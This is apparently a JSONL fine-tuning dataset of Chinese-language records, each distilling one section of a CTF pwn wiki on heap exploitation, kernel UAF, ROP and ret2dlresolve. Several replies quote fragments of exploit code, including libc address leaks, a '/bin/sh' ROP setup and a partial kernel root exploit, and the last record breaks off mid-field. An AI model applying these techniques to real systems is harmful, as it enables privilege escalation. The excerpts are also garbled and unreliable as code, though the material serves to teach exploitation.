{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6e8a5b24bdf73ac292fc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：trigger malloc_hook > 参考文献\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考文献”展开。\n- https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/ - http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html - https://www.slideshare.net/YOKARO-MON/oreo-hacklu-ctf-2014-65771717\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 217, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "参考文献", "heading_path": ["trigger malloc_hook", "参考文献"], "original_id": "docs-dfe12b97fc7e0e3efaf5", "original_line": 940, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "02a8fcdd98f57991598c51f5", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6eb5dbe5089675ea7d37", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用”展开。\n- 既然题目中已经直接白给出了一个无限制的 UAF，那么利用方式就是多种多样的了，这里笔者选择使用 user\\_key\\_payload 来完成利用。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 292, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "漏洞利用", "heading_path": ["Heap Spray", "例题：RWCTF2023体验赛 - Digging into kernel 3", "漏洞利用"], "original_id": "docs-b34fe0fa45d80ef642c2", "original_line": 40, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "0a653963433d56acd3ad17de", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6f1ddb8a44e1ff58e126", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md`\n标题：Change Others\n章节：Change Others > 改代码 > 修改 vDSO 代码 > 参考\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- https://lwn.net/Articles/676145/ - https://lwn.net/Articles/666550/ - https://sam4k.com/like-techniques-modprobe_path/ - https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch - https://github.com/google/security-...\n\n关键术语：\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- aim\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 348, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["Change Others", "改代码", "修改 vDSO 代码", "参考"], "original_id": "docs-d8bc5703f1efa36393b7", "original_line": 662, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "source_root": "docs", "source_sha256": "5ae73e332aeca082ca76620f6161568e6fade1b8ae0b3398b84006a03ad36041", "split": "train", "split_group_key": "8e6f6add7d0ef016ba7a05c3", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "aim"], "title": "Change Others"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6f8364c40a23a1f42b9e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「get system addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：get system addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“get system addr”展开。\n- atoi_offest = libc.symbols['atoi'] libcbase = atoi_addr - atoi_offest system_offest = libc.symbols['system'] system_addr = libcbase + system_offest print 'leak system addr: ', hex(system_addr) ``` 我们修改ptr[0]的内容为 ptr 的地址-0x18，所以当我们再次编辑 note0 时，可以覆盖ptr[0]的内容。\n- 这样的话，如果我们查看note 0的内容，其实查看的就是atoi的地址。\n- 之后我们根据 libc 中对应的偏移计算出 system 的地址。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 348, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "get system addr", "heading_path": ["get system addr"], "original_id": "docs-460cf2ea07b5024da0da", "original_line": 1087, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "689657eac2b021a72cfc4916", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6f94be03870af7aacc3d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「_libc_calloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _libc_calloc\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 在 libc中的封装为 _libc_calloc，具体介绍如下 ``c / calloc(size_t n_elements, size_t element_size);\n- Returns a pointer to n_elements element_size bytes, with all locations set to zero. / void __libc_calloc(size_t, size_t);\n- calloc 也是 libc 中的一种申请内存块的函数。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 253, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "_libc_calloc", "heading_path": ["申请内存块", "_libc_calloc"], "original_id": "docs-36e77fbe973c3d29f4e3", "original_line": 1158, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "7aae99e466096034425fc7c6", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6fc2910536afd94c7255", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「系统调用：ioctl」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 内核交互 > 系统调用：ioctl\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“系统调用：ioctl”展开。\n- 对设备驱动的请求是一个以设备和请求号码为参数的Ioctl调用，如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节，同时也不需要一大堆针对不同设备的系统调用。\n- 在 *NIX 中一切都可以被视为文件，因而一切都可以以访问文件的方式进行操作，为了方便，Linux 定义了系统调用 ioctl 供进程与设备之间进行通信。\n- 对于一个提供了ioctl通信方式的设备而言，我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过ioctl系统调用完成不同的对设备的I/O操作。\n- > 使用 ioctl 进行通信的原因： > > 操作系统提供了内核访问标准外部设备的系统调用，因为大多数硬件设备只能够在内核空间内直接寻址,但是当访问非标准硬件设备这些系统调用显得不合适,有时候用户模式可能需要直接访问设备。\n- > > 为了解决这个问题，内核被设计成可扩展的，可以加入一个称为设备驱动的模块，驱动的代码允许在内核空间运行而且可以对设备直接寻址。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n- code:c\n\n代码/命令片段线索：\n- c: 1 行，首行 `int ioctl(int fd, unsigned long request, ...)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 777, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "系统调用：ioctl", "heading_path": ["基础知识", "内核交互", "系统调用：ioctl"], "original_id": "docs-21a2c42df10079b76d31", "original_line": 646, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "6d140848d5779ab6c278366d", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "pwn", "linux", "kernel-mode", "basic-knowledge.md", "code:c"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-702ac9d6470e141c3755", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「write \"/bin/sh\"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：write \"/bin/sh\"\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“write \"/bin/sh\"”展开。\n- rop = ROP('./main_partial_relro_32') plt0 = elf.get_section_by_name('.plt').header.sh_addr jmprel_data = elf.get_section_by_name('.rel.plt').data() writegot = elf.got[\"write\"] write_reloc_offset = jmprel_data.find(p32(writegot,endian=\"little\")) print(write_...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 312, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "write \"/bin/sh\"", "heading_path": ["write \"/bin/sh\""], "original_id": "docs-6bdeb409e204d2771602", "original_line": 70, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "2877c7f38d082da4e9ab9f22", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-707aa62abc502933f059", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「释放：0x30」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 分析 > 释放：0x30\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“释放：0x30”展开。\n- kfree 以后没有清空指针，直接就有一个裸的 UAF 糊脸： ``c if ( a2 !\n- copy_from_user(&v12, v2, 8LL) ) { if ( (unsigned int)v12 <= 0x20 ) { if ( addrList[(unsigned int)v12] ) kfree();\n\n关键术语：\n- UAF\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 15 行，首行 `if ( a2 != 32 )`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 260, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "释放：0x30", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "_例题：西湖论剑2021线上初赛 - easykernel_", "分析", "释放：0x30"], "original_id": "docs-c97cd880ab894d8b2f16", "original_line": 814, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "41cc72e1524c58576b5fef68", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-70c37d3fc6a85a3e4063", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache house of spirit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache house of spirit\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“tcache house of spirit”展开。\n- 拿 how2heap 的源码来讲： ``c #include  #include  int main() { fprintf(stderr, \"This file demonstrates the house of spirit attack on tcache.\\n\");\n- //fake chunk region fprintf(stderr, \"This region contains one fake chunk.\n- The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n- fprintf(stderr, \"... note that the memory address of the region* associated with this chunk must be 16-byte aligned.\\n\");\n- fprintf(stderr, \"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:bash\n\n代码/命令片段线索：\n- c: 26 行，首行 `#include `\n- bash: 15 行，首行 `gdb-peda$ heapinfo`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2733, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "tcache house of spirit", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x03 Pwn Tcache", "tcache house of spirit"], "original_id": "docs-3c2a932aa0c503a2688f", "original_line": 1049, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "72ad518eac313fc45e4a9b79", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c", "code:bash"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-710f40e1d101544f46b1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > REFERENCE\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- 【VIRT.0x00】Qemu - I：Qemu 简易食用指南 QOM Vadis?\n- Taking Objects To The CPU And Beyond 在 QEMU 中模拟设备 - 知乎\n\n关键术语：\n- pwn\n- virtualization\n- qemu\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 270, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["编写 QEMU 模拟设备", "REFERENCE"], "original_id": "docs-37a3009e93a5200b1013", "original_line": 1436, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "6c724fe499b91b10ccd61356", "subcategory": "pwn/virtualization/qemu", "terms": ["pwn", "virtualization", "qemu", "environment"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-719074730c4a194fbeee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「Old Solution」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`\n标题：kernel UAF\n章节：kernel UAF > 例题：CISCN2017 - babydriver > Old Solution\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Old Solution”展开。\n- > } > ` 因此这里考虑介绍更加通用的解法，对旧的解法感兴趣的可以参考如下exp： `c #include  #include  #include  #include  #include  #include  int main(void) { int fd1 = open(\"/dev/babydev\", 2);\n- printf(\"\\033[34m\\033[1m[] Start to exploit...\\033[0m\\n\");\n- } else if(pid == 0) { / the child to get the UAF cred / char buf[30];\n- } else { printf(\"\\033[31m\\033[1m[x] Failed to get the root.\\033[0m\\n\");\n- 这道题在当年的解法是通过 UAF 修改该进程的 cred 结构体的 uid、gid 为0，十分简单十分白给。\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `> void __init cred_init(void)`\n- c: 7 行，首行 `> void __init cred_init(void)`\n- c: 36 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1712, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Old Solution", "heading_path": ["kernel UAF", "例题：CISCN2017 - babydriver", "Old Solution"], "original_id": "docs-ecd95d0479ab5731f9ae", "original_line": 778, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "source_root": "docs", "source_sha256": "8e6b9adbb421820e0d460522b874c1fb80d883af40c04dfc833c137f2c35fa9f", "split": "train", "split_group_key": "5e6c9458d61253a8b61f0598", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "kernel UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-719f9dff2a24e4c79d46", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：context.log_level = \"debug\" > 2018-XNUCA-gets > 分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 我们通过 ELF 的基本执行流程（可执行文件部分）来知道程序的基本执行流程，与此同时我们发现在栈上存在着两个函数的返回地址。\n- 而我们覆盖字节的时候必须覆盖整数倍个数，即至少会覆盖 3 个字节，而我们再来看看__libc_start_main+240 的地址 0x7ffff7a2d830，如果覆盖3个字节，那么就是 0x7ffff700xxxx，已经小于了 libc 的基地址了，前面也没有刻意执行的代码位置。\n- 一般来说 libc_start_main 在 libc 中的偏移不会差的太多，那么显然我们如果覆盖 __libc_start_main+240 ，显然是不可能的。\n- 如果我们覆盖了栈上_dl_init+139，即为0x7ffff700xxxx。\n- 因此，我们有足够的理由选择覆盖栈上存储的_dl_init+139。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n- code:python\n\n代码/命令片段线索：\n- asm: 19 行，首行 `pwndbg> stack 25`\n- plain: 6 行，首行 `0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so`\n- plain: 1 行，首行 `0x7ffff7dd7000-0x7ffff7a0d000=0x3ca000`\n- python: 31 行，首行 `from pwn import *`\n\n训练边界：\n- 